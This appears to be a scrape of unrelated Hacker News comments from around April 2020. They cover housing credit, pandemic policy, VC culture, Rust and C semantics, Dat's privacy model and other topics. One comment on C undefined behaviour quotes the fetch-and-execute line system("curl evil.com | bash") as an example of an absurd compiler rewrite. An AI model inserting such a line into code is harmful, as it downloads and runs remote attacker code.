skysight-inc/HackerNews huggingface dataset:
Your thought experiment assumes cheap credit. Imagine with no credit - Carol and Dave could still start working more to close the gap in their funding, and Alice and Bob could still follow suit to stay ahead. But as soon as the houses were sold, the competition would end and all of them could stop working extra. Only with cheap credit are the four put into the situation of bidding away their futures. Moderate interest rates are on the continuum between the two extremes wherein parties would be disincentivized from bidding far beyond their current means, by a significant down payment and resulting compound interest.
stop being a bootlicker
Tracking the Virus: Apple and Google Join Forces.is this such a good idea
I haven't found that to be the case typically -- you could always serialize some information into the task to check for things like this.

Also consider if the machine running that process just disappears and that process dies. Putting work into a task queue allows you to do it durably until it can be processed so that it's not lost in some typical "that machine/instance died" scenario.
The majority of the new cases in Singapore are in foreign labourer dormitories, so maybe the missed step was not putting enough effort into improving conditions in those dormitories? They put a lot of effort into contact tracing and the like, but that doesn't help much when you have a bunch of people who live together in (presumably) crowded quarters, who are unable to isolate themselves.
Somewhat related, but The New Deal basically invested 40% of the GDP into ‘building’ and paying Americans to do it.

The US in 2020 just invested roughly 10% of the GDP to prop up some corporations, and more or less called it a day.
I don't think "ambition" is the correct root cause for "not enough surgical masks", either.

Look at someone like Bill Gates. He had the knowledge of how dangerous a pandemic could be, the financial resources to manufacture or stockpile the basic medical items which would be needed, and as much ambition as anyone on this planet.

I hate to single out anyone in particular, as this is certainly not his fault. I don't mean to pick on him. It's just an example of how even cranking AMBition up to 20 wouldn't have prevented our current predicament.
Readability is very often nothing else but habit - code which looks like code you've seen often enough looks well. Case in point: The first example is just gibberish to me and I needed the second one to decipher it.

Also, I would write the second example different:

let r: Vec<_> = v.iter().map(|(x,_)| x).collect();

In my opinion that's superior in readability to both of your examples, but probably also only because I'm used to it.
Don't apologize for sharing your thoughts. This is not a platform where people are easily offended or needlessly oppositional. You're not offending anyone, I think I speak for most people when I say we'd like you to be better. Even if I don't believe what you wrote is the truth in your heart, the system has failed you.

To add, travel is significantly inferior to embedding yourself completely in a state for at least six months.
Travel can not replicate such experiences. I would never count my travels - no matter how off the beaten path - as experience comparable to living in a different cultural framework. Those instances, especially during formative years, are much more valuable.
It probably is a setting. And manufacturers simply make us pay $20-50 more for flipping a bit. I'd be stunned if they have entirely different firmware versions for different products.
If I manage to get the actual color hex codes, can I create themes based on them? No copyright involving colors, correct?
I have failed time and again to grasp how exactly Dat works. IPFS is easy for me to grok; your content is hash-addressable, thus immutable. Can someone explain in a sentence or two how Dat handles content?
I've always wondered, why not just run 10 different random number generators at once and ping pong between them or blend them or something?
There has been a huge demand for cheaper and more widely available healthcare for a long time.
> The result was that it was crushed in performance by Fortran for scientific codes, and most of the difference had to do with assumptions the compiler could make about aliasing (or the lack of it). This was fixed

Calling it "fixed", as if it were a problem of the language rather than programmers' expectations, is a rather slanted view of the history.
A better analogy is Microsoft word. The original source code was lost. It’s now relying on a reverse engineered code base from someone outside of Microsoft.
Not exactly what I asked or what is wanted sorry. Plus namecheap are terrible as a reseller
Here's a video of a capuchin monkey demonstrating the technique on a nut:

https://www.youtube.com/watch?v=Mvt9ZZis3GY

So this is more of a simian tool than a human one.
Why presume what I believe? I live in the city and the closer I get to the core of the city the fewer venues there are for domestic living and everything turns into restaurants and offices.
The difference is that Boeing commercial aviation is immensely important in terms of income, employment, politics and share of gdp and import revenue, whereas Boeing aerospace is much smaller in absolute terms and position in the marketplace, and SpaceX has things NASA wants more. That means it is far more likely the DOJ would do things right.
This reads very much like the engineer who hears of a political problem and then wants to write software to fix it.
Well Marc, one problem is the world of VC-driven innovation. Building truly revolutionary work takes time and commitment, while the VC ecosystem and entrepreneurial culture actively works against this.

- Telling founders to be underpaid and commit their entire finances to the success of their startups forces startups to spend more time finding product-market fit than building what the world needs long-term.

- Hiring employees at below market salary and offsetting with equity incentives people to think short-term. You need to move towards going public and increasing valuation if you want to keep your talent.

- The funding round model forces short-term thinking by constantly forcing companies to prove their vision has a market in a short amount of time. How do you prove that a two-decade project has legs in the first 5 years? The path I've seen is people reducing their ambitions to find traction.

- The VC industry does not value positive social externalities in any appreciable way. Fast growth and revenue is all that matters and we celebrate the companies that achieve that by causing negative externalities.

There's a reason that the most impactful real-world innovation I can think of comes from people like Bezos and Musk who can afford to think in terms of decades.

Maybe VCs are not the vehicles for long-term innovation. Or maybe the leaders of the VC industry could look inwards and find changes to how they approach innovation that could help solve these long-term problems.

When you have extreme wealth and influence, there is an inherent responsibility to ask whether 'you' are doing enough.
How would that minimum wage replacement work? Wouldn't every minimum wage employer just switch to paying $1/hr or whatever, and let this system pay the rest? That would mean such companies couldn't give their worst a $1/hr raise without paying $12/hr more. I seem to be missing something.
I’ve been programming professionally for about five years as well and I feel the same way. The culture’s emotionally exhausting, and I feel like I’m feeling more and more dull to career growth. I think I’m simply going to have to find ways of emotionally disengaging and the right spot where that meshes well.
The solution to that is simple: raise property taxes to the point where underutilized land is no longer a suitable vehicle for wealth preservation.
You're right, I forgot that they used underclocked Samsung 1176JZ SoCs.
I was about to make the comment about the Zizek connection but you beat me to it!

Fun fact, Zizek came in a very close 4th place for President of Solvenia in 1990. I was shocked that he almost became a legitimate president back in the day.
If it was a robo taxi and not your own car, you could go take a different robo taxi.

Also, predicting the weather a week out isn't the same as giving an ETA when you can see a map of the storm happening live. That is a completely separate scenario.
Kiwi: it is severely outdated and you installed it before it was open source.
How can we change incentives for lawmakers?
Warhol
Even if that is true it comes at the expense of a lower signal to noise ratio - you are adding noise.
> but I had no idea about humans 200,000 years ago using tools.

You might be interested in Sapiens.

https://www.amazon.com/Sapiens-Humankind-Yuval-Noah-Harari/d...
Interesting, I wonder how much of that is the fact that Apple has the only JS runtime which supports tail call elimination:

https://kangax.github.io/compat-table/es6/
If your out of the loop, a state governor (I believe New Jersey) called cobol, cobalt.
And letting go of a programming language that you fell in love with, who was ripped away from you or died for whatever reason, can be an emotionally difficult experience. Then there's that period where you're not ready to learn a new programming language, because you don't want to dishonor the memory of the lost language you're still mourning for.

At the end of the talk, he mentioned that Paul Graham writes poetically about Romantic Languages, and classifies Lisp and Scheme as Melancholy Languages, but he would also classify Lisp as a Hysteric Language, and COBOL is a Depression Language. ;O

From the paper:

https://s3-us-west-2.amazonaws.com/vulk-blog/ThePervertsGuid...

Other Categories of Enjoyment: Based on the subject's relationship with the object of desire, there are various other categories of enjoyment that can be applied to languages. Depression within Lacanian psychoanalysis can be described as the stopping up of circulation around the object of desire. With depression, the object is lost and enjoyment is retrieved from the reminiscing of the loss. With melancholy the very memory of the object is lost (a loss of a loss) so the enjoyment comes from the romantic attitude with respect to the history of the language.
See the late Michael Sean Mahoney's writings (Professor of the History of Science at Princeton University):
https://www.princeton.edu/~hos/Mahoney/computing.html

I am thankful to have taken a course with him in the 1980s.
Seriously, whilst I agree, what can I do about it.

I can't raise the capital to start any business that could challenge these things. I work too many hours to sustain my family to do anything serious as a side project.

I can't find anywhere more progressive to work than where I am, if I could I would move. I have a set of skills which seem to match what Marc wants, yet I earn less than the sales and marketing people.

I can't vote for a political party that wants these things because they don't exist, and couldn't exist in the UK without a massive benefactor.

All I can contribute is an upvote to your article. If someone would buy me a house for my family, and enough cash to run it I would join this crusade. Until then, just an upvote.
This person said navigating automatically out of a crowded parking lot in the rain. You shifted this to just driving in the rain.
People who have tried have consistently failed. That includes Plato himself with Alcebiades.

I have the strong impression that you don't know any philosophy, and also don't know much psychology.
Their opinion is specific to nuclear war threats. They haven't even advanced it since January.
SF is supposed to do exactly that to minimize a summer carmageddon: https://abc7news.com/coronavirus-san-francisco-caltrans-to-r...
Delusions of grandeur? /s
John Conway (1937 – 2020) – The Simons Foundation
Zizek is sometimes great but you might as well tune out the moment that he brings up Lacan because every single bit of Lacan is intellectual Charlatanism of the highest order. It's a black stain on Zizek that he continues to see that work as being relevant in the slightest.

No, the mirror stage is not the beginning of psycho-social development. No, Freud and Lacan and Deleuze are not useful scholars to be reading in any era (much less today). No, they do not have anything of value to provide except intellectual masturbation.

I wish Freudian Psychoanalysists and its disciples would finally die off in the ivory tower but it just hasn't. Even Jung is more coherent and closer to testable than fking Freud.
Reads more like a complaint with shallow “solutions”

Expected more from Marc
I wonder what moved Clojure from melancholy to sadism? Hickey's glasses, probably.
I guess we should all start wearing blindfolds in face-to-face meetings because it will make no difference to the outcome of the meeting.
If you get rid of price gouging laws, private stockpiling and ramped up production both become worth doing.
Worldometers is likely more accurate, it gives 17,671, not 14,636.

https://www.worldometers.info/coronavirus/country/us/
The inclusive vs extractive institutions mentality makes sense but I think in the exact reverse way then you suggest.

It's precisely because of the Wests (and like Marc says it really is the West) failure to respond to this crisis. It's the excess of inclusivity that leads to short term, ballot box decision making in response to crises, and it is the short term, market logic that leads to loss of autonomy and neglect of long term goals that Marc talks about in the piece.

It's the politication of a healhcare / virological crisis that renders responses ineffective. When the American president gins up armed protesters during a pandemic that is the direct result of the inclusivity praised in the book. It's crisis response turned into a media spectacle and an election campaign.

Efffective resopnse to the crisis was visible in East Asian countries in which 'elites' can govern without constant interference, and that's not a glorification of China, but also of democratic countries like Taiwan, or so-so democratic countries like Singapore. What they all have in common is that decisions are made by leadership which can act with the necessary degree of autonomy.
The US didn't actually deindustrialize. US manufacturing by value added is larger than Germany and Japan put together. What we did do is get rid of a bunch of low value manufacturing. We're finding out the hard way that some of that low value manufacturing is actually useful though when you need a hundred million facemasks or ten million test swabs or whatever.
Ask HN: What can be done to circumvent the central server?
The internet was supposed to be decentralized. But these days this is just not the case anymore.

I just came out of a [very popular video chat software] meeting that started out in [decentralized video software]. [very popular video chat software] offered a superior video quality which I attribute to the possibility to organize datastreams centrally and distribute data from a high bandwidth central instance.

I realize that this is a very general question, but is there anything that can be done about this?
“May I suggest that Mr. Bond be armed with a revolver?” (1956)
Holding land isn't unproductive. Existing is a pre-requisite to working for an income. Having shelter is a pre-requisite to existing. Shelter is extremely productive in fact and is necessary. That's like pretending that the factory roof isn't productive because all it does is provide shelter from the elements, so it's unnecessary. It can make a lot of sense to be a land owner, which is why people seek it out so strongly. Being able to say: this is mine, this is not yours, this is not the tribe's land, this is where I shall raise my family for the next 20 years, this is my private space to do as I please; that's extremely enticing (for most non-robots).

Eating food at home is productive. Raising children under a safe roof is productive. Learning in the comfort of your home is productive. Resting is productive. A good night's sleep is productive. And so on.

Further, factories exist on directly productive land. It often makes sense to own that land for all sorts of good reasons.

There's a fair argument for land tax adjustments, however it should go with increased income taxes on the top 1/3 regardless. Although it has to be very technical. Taxing people that own $10m houses in SF at the same elevated rate as a homeowner in a poor rural region would be economic assassination.

Of course this all needs to go hand-in-hand with demolishing our healthcare system and remaking it into a system with per capita costs 50% lower than they are today (which gets us close to the rest of the developed world). Doing that is how we finally get universal coverage, until then all properly universal systems will remain blindingly expensive. The economic benefit to the new system having a lower cost, universal healthcare system would be very far reaching.
> Handling yellow lights properly, involves us having to predict how long they will remain yellow for

No. That isn't how yellow lights work in the US. If the light turns yellow and you have enough space/time to make a safe stop you do it. There's no need to predict the remaining time on yellow phase. We don't need robot cars bending these rules.
The West had 2+ months extra lead time during which it mostly didn't even try to do anything, across the political spectrum.
This answer is a shame though. It would be more efficient for a lot of passionate people to join companies with an existing head start instead of starting a bunch of small efforts. More wood behind fewer arrows. A big part of this problem is that our society glorifies entrepreneurship more so than coming together in large cohesive groups to collectively do something big. For example, much of what this article discusses are political problems. Those problems need large political movements and institutions, not startups.
I wonder what he has to say about the toilet paper shortages?
How to improve code quality in C# using option type
Recently I learned that the demonym for San Marino is "Sammarinese".
> there's a huge difference between saying that a compiler need not treat a loop as sequenced with regard to outside code if none of the operations therein are likewise sequenced, versus saying that if a loop without side effects fails to terminate, compiler writers should regard all imaginable actions the program could perform as equally acceptable.

Yes, definitely true. It's debatable whether it's okay for a compiler to rewrite code as in second example at https://news.ycombinator.com/item?id=22903396 , but it is not debatable that rewriting it as with anything equivalent to:

if(x > 1 && x == slow_function_no_side_effects(x))
{ system("curl evil.com | bash"); }

is a compiler bug, undefined behaviour be damned.

> that the authors of the Standard have latched onto the idea that optimizations must not be observable unless a program invokes Undefined Behavior

I don't know if this quite characterizes the actual reasoning, but it does seem like a good summary of the overall situation, with "we might do x0 or x1, so x is undefined behaviour" ==> "x is undefined, so we'll do x79, even though we know that's horrible and obviously wrong".

> I think the most useful set of behavioral guarantees would allow those elements of `x` and `y` to hold arbitrarily different values, but that `x` and `z` would match.

Actually, I'm not sure that makes sense; your code is equivalent to:

struct blob { uint16_t a[100]; } x,y,z;

void test2(void)
{
int indices[] = {1,0};
; {
int* dat = indices;
int n = 2;
; {
struct blob temp;
for(int i=0; i<n; i++) temp.a[i] = i;
/* should that be dat[i] ? */
x=temp;
y=temp;
}
}
z=x;
}

I don't think it makes sense to treat x=temp differently from z=x. Maybe if you treat local variables (temp) differently from global variables (x,y,z) but that seems brittle. (What happens if x,y,z are moved inside test2? What if temp is moved out? Does accessing some or all of them through pointers change things?)
This is definitely a problem with any circuit that is complex enough. It was nice to see Ben Eater explain it and solve it in multiple ways, once using a 555 timer and a capacitor[1] and the other time using just the SR latch of the 555[2].

[1] https://www.youtube.com/watch?v=81BgFhm2vz8

[2] https://www.youtube.com/watch?v=WCwJNnx36Rk
And pct can execute things inside containers so you can do everything from the host.
> There is no equivalent to an USK because dat doesn't give direct access to old revisions. What you get is always the latest.

How do you guarantee that you're getting the latest content, though? If a peer has a cached copy of an older revision, wouldn't you end up with that instead, since there's no way to distinguish between them?

> The dat url references a given private key, and that's about it in terms of privacy. Transfer is done between two endpoints on the normal internet, so neither peer is "hidden".

What concerns me here is that, from what I'm reading, it seems like any client on the local network could eavesdrop on mDNS requests to determine what content other clients are viewing. Worse, a client could announce itself with the discovery key for a well-known piece of content to be notified when any other client, anywhere, requests that content.

This is a worse privacy model than unencrypted HTTP. Are you aware of any plans to mitigate this?
We’re not necessarily talking about litigation here. Like another commenter pointed out, other legal system allows you to ask the courts for decisions without an opposing party.
> There worst thing you can do is tell a kid they are brilliant.

Other approaches also have their problems. I was raised in a very egalitarian spirit, and thinking of myself as somehow better than others was a taboo for me for a long time.

As a consequence, I had a few blind spots. For example, I noticed that in some situations certain kinds of people become hostile to me, for reasons I couldn't understand. I didn't know what I did wrong, and when I tried to be nicer or more open towards them it usually just made things worse.

Then one day a friend with good social skills explained to me: "They see that you are better than them, so they feel threatened, and they attack you to feel safer. And when you respond with kindness, that makes them feel even more threatened, because it seems their attack didn'd hurt you at all (although it actually did)." My mind was completely blown, because I didn't see myself as better, so I didn't realize others could see me that way. But the explanation matched the facts, for example that the hostility usually increased after I have succeeded at something (even something unrelated to them).

Also, the theory is that if you don't tell your kid they are brilliant, they will attribute their success to hard work, which will motivate them to work even harder. What happened instead was that people around me who didn't perceive me as brilliant, attributed my success to pure luck (because they saw I actually wasn't working that hard). So no matter how often I won the math olympiad, I was always told that I am not really good at math, that I merely got lucky, but soon the regression to the mean would teach me my place (and that if I actually understood math, I would know what "regression to the mean" means, and I wouldn't argue back). This was very frustrating, because it seemed that no matter what I do, people will find an excuse because I do not fit their stereotype; and that thought definitely didn't motivate me to work harder. (Actually, only now as I write this comment, it occurred to me that maybe I didn't fit their stereotype because perhaps I was smarter than the usual math-gifted kids they used to work with.)

I would recommend telling your kids the truth according to your best knowledge. Manipulation can backfire, even well-intentioned one.
The people should have a share of the proceeds if their tax dollars funded the work.

I don't think printing money is the answer, if I'm understanding you correctly.
River North is insanely expensive even with NYC/SF to compare to.